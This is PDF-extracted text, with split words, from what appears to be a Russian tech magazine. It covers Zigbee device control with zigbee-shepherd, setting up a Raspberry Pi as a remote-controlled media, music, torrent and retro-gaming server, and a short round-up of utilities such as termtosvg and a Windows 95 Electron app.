.  Груп па  команд,  которые  мож но  отправ лять  устрой ству.  Нап‐ 
ример,  коман да    вклю чает  или  вык люча ет  устрой ство,  а  если
это  лам па  с  дим мером,  то  коман да    поз волит  задать  уро вень
яркости.

Clusters

genOnOff
genLevelCtrl

. У устрой ства мож но зап росить его текущее сос тояние, обра‐ 
тив шись  в  инте ресу ющий  Cluster.  Нап ример,  коман дой    мож но
узнать сос тояние атри бута   — оно может быть 0 или 1.

Attributes

genOnOff
onOff

Вык лючатель Xiaomi Aqara с одной кноп кой име ет сле дующую струк туру:

{
 "profId": 260,
 "epId": 1,
 "devId": 24321,
 "inClusterList": [0, 3, 18, 25, 65535],
 "outClusterList": [0, 3, 4, 5, 18, 25, 65535],
 "clusters": {
   "genBasic": {
     "dir": {
       "value": 3
     },
     "attrs": {}
   },
   "genIdentify": {
     "dir": {
       "value": 3
     },
     "attrs": {}
   },
   "genGroups": {
     "dir": {
       "value": 2
     },
     "attrs": {}
   },
   "genScenes": {
     "dir": {
       "value": 2
     },
     "attrs": {}
   },
   "genMultistateInput": {
     "dir": {
       "value": 3
     },
     "attrs": {}
   },
   "genOta": {
     "dir": {
       "value": 3
     },
     "attrs": {}
   },
   "manuSpecificCluster": {
     "dir": {
       "value": 3
     },
     "attrs": {}
   }
 }

}

Что бы  обра баты вать  нажатие  кноп ки,  нуж но  отло вить  сооб щение  от  вык‐ 
лючате ля.  Дела ется  это  с  помощью  события  .  Изме ним  код  сле дующим
обра зом:

ind

var ZShepherd = require('zigbee‐shepherd');
var zserver = new ZShepherd('/dev/ttyACM0');
zserver.on('ind', function (msg) {
   console.log("msg");
});
zserver.start(function (err) {
   if (err) console.log(err);
});

При нажатии кноп ки при дет сооб щение:

{
 endpoints: [
   {
     isLocal: [Function],
     device: [Object],
     profId: 260,
     epId: 1,
     devId: 24321,
     inClusterList: [Array],
     outClusterList: [Array],
     clusters: [Object],
     onAfDataConfirm: null,
     onAfReflectError: null,
     onAfIncomingMsg: null,
     onAfIncomingMsgExt: null,
     onZclFoundation: null,
     onZclFunctional: null,
     foundation: [Function],
     functional: [Function],
     bind: [Function],
     unbind: [Function],
     read: [Function],
     write: [Function],
     report: [Function]
   }
 ],
 data: {
   cid: 'genOnOff',
   data: {
     onOff: 0
   }
 }

}

Здесь
 — MAC‐адрес устрой ства;• msg.endpoints[0].device.ieeeAddr

 — канал (endpoint) устрой ства;• msg.endpoints[0].epId

 — ID клас тера и атри бут, в дан ном слу чае вык лючатель прис лал
коман ду  .

• msg.data

genOnOff:0

Ес ли про верять эти дан ные, то, нажимая на кноп ку вык лючате ля, мож но будет
управлять дру гими устрой ства ми ZigBee по опре делен ному алго рит му. Нап‐ 
ример, при каж дом нажатии вклю чать‐вык лючать или толь ко вык лючать груп пу
устрой ств.

Zigbee‐shepherd  пол ностью  под держи вает  работу  с  дим миру емы ми  лам‐ 
пами Ikea Trådfri и Philips Hue, поэто му для при мера мож но нас тро ить прос той
алго ритм вклю чения лам пы с помощью вык лючате ля Xiaomi Aqara. Добав ляем
в  код  обра бот чик  нажатия  кноп ки  и  вклю чение  лам пы  Ikea  Trådfri  на  мак‐ 
сималь ную яркость:

var ZShepherd = require('zigbee‐shepherd');
var zserver = new ZShepherd('/dev/ttyACM0');
zserver.on('ind', function (msg) {
   console.log(msg);
   switch (msg.type) {
     case 'attReport':
           var epId = msg.endpoints[0].epId;
           var ieeeAddr = msg.endpoints[0].device.ieeeAddr;
           var data = msg.data;
           if (ieeeAddr === "0x00158d00015efcef" && epId === 1 && 
data.cid === "genOnOff") {
             // Get lamp endpoint
             var lamp = zserver.find(0x000b57fffe3298aa,1);
             // Turn on lamp
             lamp.functional("genLevelCtrl", "moveToLevelWithOnOff",
{level: 255, transtime: 0}, function (err, rsp) {});
           }
           break;
       default:
           console.log(msg);
           break;
   }
});
zserver.start(function (err) {
   if (err) console.log(err);
});

УВЯЗЫВАЕМ НАШЕ РЕШЕНИЕ С ДРУГИМИ
Zigbee‐shepherd  исполь зует  инфраструк туру Node.js,  поэто му  мож но  реали‐ 
зовать  управле ние  любыми  объ екта ми,  для  которых  есть  соот ветс тву ющие
биб лиоте ки.  Нап ример,  про токол  MQTT  дает  воз можность  интегра ции
со  мно гими  сис темами  домаш ней  авто мати зации,  такими  как  OpenHub
и Home Assistant. Для пос ледней сущес тву ет  .го товый про ект на GitHub

Мно гие  хабы  и  самос тоятель ные  устрой ства  Wi‐Fi  вро де  розеток  под‐ 
держи вают  управле ние  через  зап росы  HTTP.  Коман ды  мож но  узнать
из докумен тации, либо под гля деть в веб‐интерфей се хаба умно го дома, либо
про ана лизи ровать тра фик от мобиль ного при ложе ния.

Z‐Wave‐кон трол лер RaZberry име ет хорошо докумен тирован ный HTTP API,
поэто му  не  сос тавит  тру да  написать  зап рос  на  вык лючение  све та.
Для отправ ки HTTP‐зап росов тре бует ся уста новить биб лиоте ку request:

$ npm install request ‐‐save

До бав ляем  в  код  под дер жку  HTTP‐зап росов  и  сам  зап рос  на  вык лючение
све та:

var ZShepherd = require('zigbee‐shepherd');
var zserver = new ZShepherd('/dev/ttyACM0');
var request = require('request');
zserver.on('ind', function (msg) {
   switch (msg.type) {
     case 'attReport':
           var epId = msg.endpoints[0].epId;
           var ieeeAddr = msg.endpoints[0].device.ieeeAddr;
           var data = msg.data;
           if (ieeeAddr === "0x00158d00015efcef" && epId === 1 && 
data.cid === "genOnOff") {
             request('http://admin:admin@192.168.1.108:8083/ZAutom
ation/api/v1/devices/ZWayVDev_zway_7‐0‐37/command/off', function (
error, response, body) {
                 if (error) { console.log("‐‐‐ Error send request:",
error); }
             });
           }
           break;
       default:
           console.log(msg);
           break;
   }
});
zserver.start(function (err) {
   if (err) console.log(err);
});

Ми нималь ная домаш няя авто мати зации готова! В 26 стро ках кода запус кает‐ 
ся  сер вер  ZigBee,  отсле жива ется  нажатие  кноп ки  и  исполня ется  коман да
управле ния све тоди одной лам пой или коман да HTTP. Если под клю чить фрей‐ 
мворк  веб‐при ложе ний  для  Node.js  (нап ример,  express),  то  мож но  реали‐ 
зовать пол ноцен ный HTTP API для работы с устрой ства ми ZigBee.

Zigbee‐shepherd поз воля ет добавить к уже сущес тву ющей домаш ней авто‐ 
мати зации  на  KNX,  Z‐Wave  или Wi‐Fi  недоро гие  устрой ства  ZigBee,  которых
с каж дым годом выпус кает ся все боль ше.

mailto:aivs@yandex.ru
http://www.ti.com/tool/CC2531EMK
https://ru.aliexpress.com/wholesale?SearchText=CC2531
https://github.com/zigbeer/documents/blob/master/zigbee-shepherd/CC2531ZNP-Test.rar
http://www.ti.com/tool/CC-DEBUGGER
http://www.ti.com/tool/flash-programmer
https://github.com/zigbeer/zigbee-shepherd/wiki
https://github.com/Koenkk/zigbee2mqtt
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ТРЮКИ

За  шесть  лет  сущес тво вания  Raspberry  Pi  появи лось
огромное  количес тво  руководств,  как  прев ратить  его
в  домаш ний  муль тимеди ацентр.  Вот  толь ко  клас сичес кий
муль тимедий ный  центр  из  него  нас толь ко  пло хой,  что  про‐ 
игры вает даже китай ским HDMI‐свис ткам. Точ нее, так кажет‐ 
ся, пока ты не начина ешь мыс лить, как линук соид.

Пер воначаль ная  идея  боль шинс тва  людей,  которые  покупа ют  Raspberry  Pi,
что бы  сде лать  из  него  ТВ‐прис тавку,  при мер но  сле дующая:  под клю чаем
к  «малин ке»  жес ткий  диск  или  флеш ку  с  филь мами,  под клю чаем  пульт
с гирос копом, уста нав лива ем муль тимедий ный ком байн Kodi и нас лажда емся
филь мами, ютюб чиком, ТВ и радио.

Это  абсо лют но  логич ное  решение,  которое  ты  будешь  прок линать  уже
через два часа. Kodi — прек расная обо лоч ка для муль тимедий ной прис тавки,
но не луч шим обра зом опти мизи рован ная для Raspi. Иной раз ее при ходит ся
переза пус кать,  кур сор  мыши  во  вре мя  прос мотра  видео  дико  тор мозит,
а некото рые фун кции не работа ют.

Плюс  ко  все му  ты,  конеч но  же,  стол кнешь ся  с  нерабо тос пособ ностью
полови ны  опуб ликован ных  в  мес тном  репози тории  пла гинов.  Хочешь  пос‐ 
мотреть  YouTube — фиг  тебе,  пла гин  работа ет  один  раз  через  десять,  пос‐ 
лушать радио мож но, но при дет ся еще най ти работа ющий пла гин. ТВ? Даже
не пытай ся.

2018 год, стри мы, обла ка, Netflix, а ты сидишь и смот ришь видоси ки с жес‐ 
тко го  дис ка  с  тор мозящим  кур сором.  А  если  поп робу ешь  открыть  YouTube
в  бра узе ре,  то  уви дишь  такое  слайд‐шоу,  что мож но  на  кон ферен циях  выс‐ 
тупать.

МЫСЛИМ В ОБРАТНУЮ СТОРОНУ
Raspberry  Pi  кажет ся  нас толь ко  неп ригод ным  к  исполь зованию  в  качес тве
ТВ‐прис тавки, что я мог бы пореко мен довать купить вмес то него нас тоящую
ТВ‐прис тавку  (типа  Nvidia  Shield)  или  даже  китай ский  HDMI‐свис ток.  Но  я
не буду это го делать, потому что у Raspberry Pi есть два пре иму щес тва:
1. Это  мини‐ПК  на  базе  Linux,  с  которым мож но  сде лать  все  что  угод но  (в
отли чие от залочен ных прис тавок и прис тавок на базе Android).

2. У Raspberry Pi боль шое комь юни ти и мно жес тво раз работ чиков.

Не  сто ит  пытать ся  прев ратить  Raspberry  Pi  в  клас сичес кую  прис тавку,
управля емую с пуль та. Его нуж но прев ратить в сер вер, которым ты смо жешь
рулить  с  ноут бука  или  смар тфо на.  Захотел  пос мотреть  YouTube  —  взял
телефон, запус тил аппли куху, выб рал видео и нажал плей. Хочешь музыку —
у  тебя  на  телефо не  есть  вид жет.  Тор ренты? Ска чива ешь фай лик  на  ноут бук
и с помощью уда лен ного тор рент‐кли ента закиды ваешь на Raspi.

ЧТО ТЕБЕ ПОНАДОБИТСЯ
Итак, тебе нуж ны сле дующие вещи:
1. Raspberry Pi 3.
2. SD‐кар та минимум на 8 Гбайт, минимум 10‐го клас са.
3. Внеш ний жес ткий диск для хра нения музыки и филь мов.
4. Кла виату ра  и  мышь  (нуж ны  толь ко  при  началь ной  нас трой ке  и  во  вре мя
непола док).

5. USB‐заряд ник на 2,5 А и microUSB‐кабель.

Raspberry  Pi  без  проб лем  дру жит  с  Bluetooth‐кла виату рами  и  мышами,
но  работать  они  будут,  естес твен но,  толь ко  если  заг рузка  ОС  прош ла
успешно.  В  качес тве  мыши  очень  удоб но  исполь зовать  пульт  с  гирос копом
(на  Aliexpress  такие  сто ят  3–5  дол ларов).  Он  эму лиру ет  дви жения  мыши
с помощью нак лонов.

USB‐заряд ник  подой дет  любой,  даже  мень ше,  чем  на  2,5  А.  Проб лема
толь ко  в  том,  что,  если Raspi  заметит  нех ватку  энер гии,  он  сбро сит  час тоту
про цес сора,  а  ты  уви дишь  зна чок  мол нии  в  пра вом  вер хнем  углу  экра на.
В  это  же  вре мя может  про изой ти  оста нов  жес тко го  дис ка  и  обес точива ние
перифе рии.  Сто ит  оза ботить ся  покуп кой  хороше го  заряд ника  и  microUSB‐
кабеля, неред ко проб лема недос татка питания имен но в нем.

Не буду в под робнос тях рас писывать про цесс уста нов ки ОС на Raspberry
(об этом и так рас ска зыва ют на каж дом углу). Ска жу лишь, что я рекомен дую
исполь зовать офи циаль ный дис три бутив Raspbian (для гаран тии того, что все
работа ет как надо) и что сам про цесс уста нов ки, по сути, сво дит ся к ска чива‐ 
нию обра за ОС и его залив ке на SD‐кар ту. В Linux это дела ется в две коман‐ 
ды:

$ wget https://downloads.raspberrypi.org/raspbian_latest ‐O raspbi
an_latest.zip
$ unzip ‐p 2018‐04‐18‐raspbian‐stretch.zip | sudo dd of=/dev/sdX bs=
4M conv=fsync

Здесь    —  это  SD‐кар та,  реаль ное  имя  мож но  узнать  с  помощью
коман ды   или   сра зу пос ле под клю чения кар ты памяти.

/dev/sdX
lsblk dmesg

Встав ляем кар точку в Raspberry Pi, дожида емся заг рузки рабоче го сто ла,
под клю чаем ся к сети Wi‐Fi. Запус каем кон фигура тор raspi‐config из кон соли:

$ sudo raspi‐config

И вклю чаем SSH‐сер вер: Interfacing options → SSH → Yes.
С это го момен та кла виату ра и мышь нам боль ше не нуж ны. Все, что нуж но,

мы смо жем сде лать, под клю чив шись к Raspi с помощью SSH.

Ра бочий стол Raspberry Pi

ФИЛЬМЫ И YOUTUBE
Глав ная задача муль тимедий ной прис тавки — про игры вать видео. Для Rasp‐
berry  Pi  дос тупны  раз личные  пле еры,  но  поч ти  все  они  име ют  проб лемы
с  вос про изве дени ем  видео  с  высоким  раз решени ем.  Про ще  говоря,  они
не уме ют декоди ровать видео с помощью аппа рат ного уско рите ля и дела ют
это на цен траль ном про цес соре, который любит тор мозить.

Но  есть  исклю чение —  omxplayer.  Он  был  соз дан  раз работ чиками  Kodi,
что бы  убе дить ся  в  спо соб ности  Raspberry  Pi  к  декоди рова нию  видео
перед началом пор тирова ния самого муль тимедий ного ком бай на. Omxplayer
без вся ких проб лем перева рива ет HD и Full HD видео, но управля ется исклю‐ 
читель но  из  кон соли.  Дру гими  сло вами,  что бы  запус тить  вос про изве дение,
тебе при дет ся сде лать так:

$ omxplayer /путь/к/видео.avi

Что бы  выб рать  ауди овы ход  (HDMI  или  выход  на  самом  Raspi),  исполь зуй
опцию  :‐o

$ omxplayer ‐o local /путь/к/видео.avi

Для  управле ния  вос про изве дени ем  исполь зуй  кла виши:  про бел  —  пауза,
+/‐ — гром кость, стрел ки — перемот ка.

Счи таешь  это  удоб ным?  Я  тоже  нет,  поэто му  пред лагаю  исполь зовать
omxplayer  в  связ ке  с  при ложе нием    для  Android.  Это  кли ент
для Raspberry Pi и omxplayer, поз воля ющий уда лен но вклю чать любые видео,
хра нящи еся на жес тком дис ке, и даже видео с YouTube.

Raspicast

Ус танови  при ложе ние  на  свой  смар тфон,  ука жи  IP‐адрес  Raspberry  Pi,
а так же имя и пароль для под клю чения к SSH. Далее ты можешь либо исполь‐ 
зовать встро енный в при ложе ние фай ловый бра узер для выбора видео, либо
отпра вить любое видео с YouTube: запус каешь YouTube на телефо не, выбира‐ 
ешь  видео,  нажима ешь  кноп ку  «Поделить ся»  и  выбира ешь  в  спис ке  Cast
(Raspicast).

Ви део мож но либо запус тить немед ленно, либо добавить в плей‐лист (для
это го  надо  выб рать Queue  (Raspicast)  в меню  «Поделить ся»).  К  сожале нию,
стри мы  YouTube  не  под держи вают ся,  зато  под держи вают ся  плей‐лис ты,  их
мож но отправ лять в Raspicast целиком, а он добавит их в оче редь.

Уже  запущен ным  omxplayer  мож но  управлять  через  SSH.  Для  это го
понадо бит ся скрипт  . У него дос таточ но инту итив ное управле ние:dbuscontrol

$ dbuscontrol.sh status
$ dbuscontrol.sh pause
$ dbuscontrol.sh togglesubtitles

Raspicast уме ет играть видео с жес тко го дис ка и с YouTube

YOUTUBE: ВАРИАНТ ВТОРОЙ, ГЛЮЧНЫЙ
На  самом  деле  Raspberry  Pi  таки  уме ет  вос про изво дить  видео  в  бра узе ре
на при емле мой ско рос ти. Но есть один нюанс:  для  это го  необ ходимо акти‐ 
виро вать драй вер OpenGL, который работа ет, мяг ко  говоря, не сов сем ста‐ 
биль но. К  при меру,  ты можешь получить  гра фичес кие арте фак ты на  экра не,
неус той чивую работу сис темы или вооб ще отказ заг рузки. Если это не пуга ет,
тог да выпол ни сле дующие дей ствия.

 в файл   такие стро ки (192 — количес тво отве‐ 
ден ной для виде оадап тера памяти):
1. Добавь /boot/config.txt

dtoverlay=vc4‐kms‐v3d
gpu_mem=192

 фир мварь и перезаг рузись:2. Обно ви

$ sudo rpi‐update

 скрипт   и запус ти:3. Ска чай chromium‐mod.sh

$ chmod +x chromium‐mod.sh
$ sudo ./chromium‐mod.sh

Он изме нит фла ги  запус ка Chromium  таким обра зом,  что бы он исполь зовал
аппа рат ное уско рение.

Те перь  запус ти  Chromium,  акти вируй  пла гин  h264ify  (он  уже  уста нов лен)
и поп робуй вклю чить видео на YouTube. Если, как и преж де, наб люда ются тор‐ 
моза, сто ит про верить, что аппа рат ное уско рение дей стви тель но было акти‐ 
виро вано. Для это го открой  .chrome://gpu

Кста ти, в Quake 3 теперь тоже мож но играть.

Да же если видео зарабо тает, заг рузку бра узе ра ты все рав но будешь
ждать нес коль ко минут

МУЗЫКА
Раз  уж  мы  решили  исполь зовать  Raspberry  Pi  в  качес тве  еди ного  муль‐ 
тимедий ного цен тра, то логич но уста новить на него ауди опле ер с уда лен ным
управле нием. На эту роль луч ше все го под ходит MPD (Music Player Daemon).

Мы  запус тим  его  на  Raspberry  Pi  так,  что бы  он  пос тоян но  висел  в  фоне
и  был  готов  играть музыку.  А  на  ноут бук,  домаш ний  комп  и  смар тфон  уста‐ 
новим  MPD‐кли ент,  с  помощью  которо го  и  будем  выбирать  и  запус кать
музыку.

Ус танав лива ем:

$ sudo apt install mpd

Ско пиру ем дефол товый кон фиг:

$ mkdir .config/mpd
$ cp /etc/mpd.conf .config/mpd/

Из меним нес коль ко строк:

# Каталог с музыкой
music_directory /media/pi/Elements/download
# Каталог с плей‐листами
playlist_directory /media/pi/Elements/playlists
# Пользователь, от имени которого будет работать демон
user "pi"
# Слушаем подключения на всех адресах
bind_to_address "0.0.0.0"

В дан ном при мере я исполь зовал   в качес тве
катало га с музыкой. Это каталог   на дис ке WD Elements, под клю чен‐ 
ном по USB. Если ты исполь зуешь флеш ку или жес ткий диск, он так же будет
под клю чен куда‐то к  , но, естес твен но, под дру гим име нем.

/media/pi/Elements/download
download

/media/pi
Что бы не иметь заморо чек с пра вами дос тупа, нам нуж но запус кать MPD

как поль зователь ский про цесс. Для это го необ ходимо отклю чить сис темный
сер вис MPD и соз дать поль зователь ский. Пер вая задача выпол няет ся так:

$ sudo systemctl stop mpd.socket
$ sudo systemctl disable mpd.socket

Что бы  решить  вто рую,  соз дадим  каталог  для  поль зователь ских  сер висов
SystemD:

$ mkdir ‐p .config/systemd/user/

В нем соз даем файл   сле дующе го содер жания:mpd.service

[Unit]
Description=Music Player Daemon
[Service]
ExecStart=/usr/bin/mpd ‐‐no‐daemon
[Install]
WantedBy=default.target

Сох раня ем, акти виру ем и запус каем:

$ systemctl ‐‐user enable mpd.service
$ systemctl ‐‐user start mpd.service

Те перь MPD будет авто мати чес ки запус кать ся от име ни поль зовате ля пос ле
заг рузки.

Кли ентов  для  MPD  сущес тву ет    для  самых  раз ных  плат форм,
вклю чая Linux, Windows, macOS, Android и iOS. Лич но я пред почитаю исполь‐ 
зовать кон соль ный ncmpc на ноут буке с Linux и   на Android.

мно жес тво

MPD Control
Да, чуть не забыл — MPD не уме ет под хва тывать фай лы сра зу. Что бы он их

уви дел,  необ ходимо  обно вить  базу  ком позиций.  Это  мож но  сде лать
с помощью соот ветс тву ющей кноп ки или хот кея в кли енте.

Ncmpc: кон соль ный кли ент MPD

ТОРРЕНТЫ
Наш Raspberry Pi теперь уме ет играть видео и аудио с жес тко го дис ка, но где
брать это самое аудио и видео? Конеч но же, в тор рент‐сетях! Нет, я не про
пиратс тво, я про чип тюны и обра зова тель ное видео.

С  тор рента ми мы пос тупим  точ но  так же,  как  с музыкой. А имен но:  уста‐ 
новим демон, который будет качать/раз давать фай лы, но при этом управлять‐ 
ся извне, с того же смар тфо на или ноут бука.

Луч ше все го на  эту роль подой дет  transmission‐daemon.  Так  что  уста нав‐ 
лива ем:

$ sudo apt install transmission‐daemon

Как и в слу чае с MPD, сра зу отклю чаем сис темный сер вис:

$ sudo systemctl stop transmission‐daemon.service
$ sudo systemctl disable transmission‐daemon.service

Ко пиру ем дефол товые кон фиги:

$ sudo cp ‐r /etc/transmission‐daemon /home/pi/.config/
$ sudo chown ‐R user_name /home/pi/.config/transmission‐daemon

От кры ваем  файл 
и меня ем сле дующие стро ки:

~/pi/.config/transmission‐daemon/settings.json

"rpc‐authentication‐required": false,
"rpc‐whitelist": "127.0.0.*,192.168.31.*",
"rpc‐whitelist‐enabled": true,
"download‐dir": "/media/pi/Elements/download",
"incomplete‐dir": "/media/pi/Elements/download",

В пер вых трех стро ках мы отклю чаем аутен тифика цию (в домаш ней сети она
не  нуж на)  и  ука зыва ем  под сети,  из  которых  мож но  будет  под клю чить ся
к  Transmission.  Замени    на  свою  домаш нюю  сеть.  Пос ледние
две стро ки — каталог заг рузки.

192.168.31.*

Ре комен дую так же уста новить днев ные лимиты на ско рость заг рузки/отда‐ 
чи  дан ных.  Это  нуж но,  что бы  Transmission  заг ружал  канал  толь ко  по  ночам,
а днем не мешал дру гим юзе рам сети.

Сле дующие  нас трой ки  вклю чают  огра ниче ние  в  100  Кбайт/с  c  6  утра
до 11 вечера (вре мя зада ется в минутах):

"alt‐speed‐enabled": true,
"alt‐spee‐d‐down": 100,
"alt‐speed‐up": 100,
"alt‐speed‐time‐enabled": true,
"alt‐speed‐time‐begin": 360,
"alt‐speed‐time‐end": 1380,
"alt‐speed‐time‐day": 127,

Опять  же,  как  и  в  слу чае  с  MPD,  нам  нужен  поль зователь ский  сер вис
для запус ка Transmission. Соз дадим файл 

 с такими стро ками:
~/.config/systemd/user/trans‐

missiond.service

[Unit]
Description=Transmission
[Service]
ExecStart=/usr/bin/transmission‐daemon ‐f ‐‐config‐dir /home/pi/.
config/transmission‐daemon/
[Install]
WantedBy=default.target

Ак тивиру ем и запус тим сер вис:

$ systemctl ‐‐user enable transmissiond.service
$ systemctl ‐‐user start transmissiond.service

Для  управле ния  Transmission  мож но  взять  один  из 
или любой дру гой на твой вкус. Я исполь зую transmission‐remote‐gtk на ноут‐ 
буке и   на смар тфо не.

офи циаль ных  кли ентов

Transmission Remote

Уп равля ем тор рент‐кли ентом со смар тфо на

РЕТРОИГРЫ
Эму ляция ста рых прис тавок — одна из тех вещей, с которы ми новые Raspber‐
ry  Pi  справ ляют ся  луч ше  все го.  Есть  люди,  которые  покупа ют  Raspi,  ста вят
на  него  дис три бутив  ,  под клю чают  джой сти ки  и  исполь зуют  исклю‐ 
читель но в качес тве игро вой прис тавки.

RetroPie

Ты можешь пой ти тем же путем, но имей в виду, что RetroPie — спе циали‐ 
зиро ван ный  дис три бутив,  который  заг ружа ется  либо  в  интерфейс  RetroArch
для  запус ка  игр,  либо  в  Kodi  для  прос мотра  филь мов  и  прос лушива ния
музыки.

С дру гой сто роны, ник то не зап реща ет тебе остать ся на текущем дис три‐ 
бути ве и прос то уста новить в него тот самый интерфейс RetroArch для запус‐ 
ка  ста рых  игр  (по  сути,  это  обер тка  над  эму лятор ными  движ ками).  Он  есть
в репози тории Raspbian, но луч ше взять пред нас тро енный из RetroPie.

Итак, для начала кло ниру ем репози торий RetroPie:

$ sudo apt‐get install git lsb‐release
$ git clone ‐‐depth=1 https://github.com/RetroPie/RetroPie‐Setup.git

За пус тим инстал лятор:

$ cd RetroPie‐Setup
$ chmod +x retropie_setup.sh
$ sudo ./retropie_setup.sh

Нас  инте ресу ет  все го  один  пункт:  Manage  Packages →  Core →  retroarch.
Выбира ем и уста нав лива ем.

Ус танав лива ем RetroArch

За пус каем RetroArch:

$ /opt/retropie/emulators/retroarch/bin/retroarch

Для начала нас тро им джой стик. Идем в Settings → Input → Input User 1 Binds.
Как и в любом эму лято ре, выбира ем нуж ную кноп ку и нажима ем ее на джой‐ 
сти ке. По умол чанию RetroArch эму лиру ет уни вер саль ный джой стик RetroPad,
рас положе ние кно пок на котором такое же, как на джой сти ке SNES.

Так же  сра зу  вклю чаем  ком бинацию  для  быс тро го  выхода  в  меню:  Menu
Toggle Gamepad Combo →  выбира ем Start  +  Select  или  любую  дру гую  ком‐ 
бинацию на свой вкус.

Да лее  необ ходимо  уста новить  движ ки  эму ляции.  Перехо дим  на  глав ный
экран, затем Load Core → Download core... Нас инте ресу ют сле дующие движ‐ 
ки:

fceumm — NES;•
genesis_plus_gx — Sega Mega Drive 2;•
snes9x2010 — Super Nintendo;•
pcsx_rearmed — Sony PlayStation 1.•

И  пос леднее.  Перехо дим  в  Settings →  Directory →  File  Browser  и  выбира ем
каталог с ROM’ами.

Это все. Теперь, если, нап ример, ты хочешь поиг рать в «Сегу», перехо ди
в Load Core → genesis_plus_gx, далее Load Content и выбирай игру.

Ах да. RetroArch под держи вает ачив ки для мно жес тва игр. Регис три руй ся
на  , затем иди в меню Settings → Achivements и вби вай свои
логин‐пароль. RetroArch сам акти виру ет сис тему ачи вок, ког да обна ружит заг‐ 
рузку под держи ваемо го ROM’а.

retroachivements

Ин терфейс RetroArch

ВЫВОДЫ
Raspberry Pi  не муль тимедий ный центр и никог да и не дол жен был быть им.
Это прос то малень кий компь ютер, который уме ет нем ного филь мов, музыки
и рет роигр. Но имен но этим он и хорош, ведь ты волен сам при думы вать ему
при мене ние. Не нра вит ся Kodi, как мне, — исполь зуй SSH и голый omxplayer.
Уста нови MPD и вклю чай музыку хоть с дру гого кон ца города.

mailto:zobnin@glc.ru
https://play.google.com/store/apps/details?id=at.huber.raspicast
https://github.com/popcornmix/omxplayer/blob/master/dbuscontrol.sh
https://lb.raspberrypi.org/forums/viewtopic.php?f=66&t=199543&sid=8f01a69c3331b80c3d416b2e7ef2232c
chrome://gpu/
https://ru.wikipedia.org/wiki/Music_Player_Daemon
https://play.google.com/store/apps/details?id=org.chatminou.mpdcontrol
https://transmissionbt.com/resources/
https://play.google.com/store/apps/details?id=net.yupol.transmissionremote.app
https://retropie.org.uk/
https://retroachievements.org/
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ТРЮКИ

MARKDOWN PAGE — СКРИПТ, КОТОРЫЙ ПРЕВРАТИТ
MARKDOWN В HTML ОДНОЙ СТРОКОЙ1 Фор мат Markdown, как извес тно, при думан, что бы не набирать вруч‐ 
ную  теги  HTML.  Но  ког да  тебе  нуж но  сде лать  сов сем  уж  прос тую
стра нич ку  на  ско рую  руку,  то  велик  соб лазн  все  же  писать  сра зу
в  HTML.  Или  нет —  если  у  тебя  под  рукой  есть  ссыл ка  на  скрипт

.markdown page

С markdown page дос таточ но вста вить в тек сто вый файл одну стро‐ 
ку, и весь документ ста нет вос при нимать ся бра узе ром как стра ница,
а  все  эле мен ты  Markdown  будут  пра виль но  отренде рены  в  HTML.
Вот эта стро ка:

<script src="https://cdn.rawgit.com/oscarmorrison/md‐page/
5833d6d1/md‐page.js"></script><noscript>

Чис то теоре тичес ки таким обра зом мож но сде лать целый сайт, син‐ 
хро низи руя  фай лы  из  пап ки,  но  в  этом  слу чае  рекомен дую
не городить свой ого род и исполь зовать ста тичес кий генера тор (я,
к при меру, под робно   о генера торе Lektor).пи сал

Кста ти,  если  тебя  не  устра ивает,  что  скрипт  заг ружа ется  из 
 (вдруг тот решит уда лить его или, нап ример, вста‐ 

вить какую‐нибудь гадость), то ник то не зап реща ет положить копию
на  свой  сер вер.  Заод но  можешь  сме нить  сти ли  на  свои,  отре дак‐ 
тировав содер жимое фай ла  .

ре‐ 
пози тория авто ра

script.js

TERMTOSVG — УТИЛИТА ДЛЯ ЗАПИСИ ПРОИСХОДЯЩЕГО
В ТЕРМИНАЛЕ В ВИДЕ SVG2 Пред положим,  ты  хочешь  записать  все,  что  будешь  делать  в  тер‐ 
минале. Как это орга низо вать? Мож но записать видео — оно будет
мно го занимать, а если залить его на виде охос тинг, тот бес пощад но
сож мет  ролик.  Дру гой  вари ант —  вос поль зовать ся  замеча тель ным
сер висом  , о котором мы уже  . Но если хочешь
вста вить на сайт видео без вся ких пла гинов, твой выбор — ути лита

.

asciinema.org пи сали

termtosvg
Для начала уста нав лива ем его (у тебя дол жен быть Python 3):

pip3 install ‐‐user termtosvg

За одно будут уста нов лены биб лиоте ки pyte и lxml, если их нет в сис‐ 
теме.

Те перь  запус каем  саму  ути литу,  наб рав  .  Нач нется
запись и будет про дол жать ся до тех пор, пока ты не напишешь  .
Получив ший ся файл с ани маци ей по умол чанию отпра вит ся в пап ку

, но при запус ке можешь ука зать жела емый путь и наз вание.

termtosvg
exit

/var/

Так же мож но ука зать раз меры окна, добавив ключ  , нап ример 
.  Или  задать  более  инте рес ную  цве товую  схе му  при  помощи

клю ча  .  Выб рать  из  семи  готовых  вари антов  поможет 
.  О  том,  как  кон верти ровать  из  фор мата  cast  в  SVG,

можешь узнать в  .

‐g ‐g 
82x18

‐t га лерея
с  при мера ми

ма нуале
Что бы вос про извести получив ший ся ролик, дос таточ но написать

 либо прос то открыть его в бра узе ре.termtosvg <название файла>

WINDOWS 95 — ОПЕРАЦИОНКА ИЗ НАШЕГО ДЕТСТВА В
ВИДЕ ДЕСКТОПНОГО ПРИЛОЖЕНИЯ3 Ког да‐то уста нов ка Windows 95 была целым событи ем: хорошень ко
отки нув шись  на  спин ку  крес ла,  мы  смот рели  на  пол зущие  синие
полос ки и слу шали,  как двух ско рос тной сидиром нетороп ливо  кру‐ 
тит диск и  уба юки вающе пот рески вает  вин честер.  Теперь ста рень‐ 
кую  «Вин ду» мож но ска чать  за пару минут и  запус тить  в один  клик.
При этом луч ше не думать, какие тех нологи чес кие извра щения поз‐ 
воля ют ей работать.

В   ты можешь най ти занима тель‐ 
ную  сбор ку  Windows  95:  это  исполня емый  файл  раз мером  око‐ 
ло 450 мегабайт, внут ри которо го — фрей мворк  ,  эму лятор

  и  образ  дис ка  с  уста нов ленной  Windows.  Дру гими  сло‐ 
вами,  это  при ложе ние‐бра узер,  в  котором  бла года ря  JavaScript
работа ет  компь ютер,  внут ри  которо го живет  ничего  не  подоз рева‐ 
ющая о таком рас кла де Windows 95.

ре пози тории Фелик са Рей збер га

Electron
Virtual  x86

Бра узер ные  эму лято ры — не  новин ка.  Год  назад  я  в  этой  руб рике
делал  , где был и v86. Его недос татки с тех пор
все  те  же:  нет  воз можнос ти  под клю чить  интернет  (и  пос меять ся
над  тем,  как  древ ний  IE  пыта ется  пережить  сов ремен ную  верс тку
сай тов)  и,  конеч но,  все  страш но  мед ленно  —  по  край ней  мере,
на моем ноут буке.

не боль шой их обзор

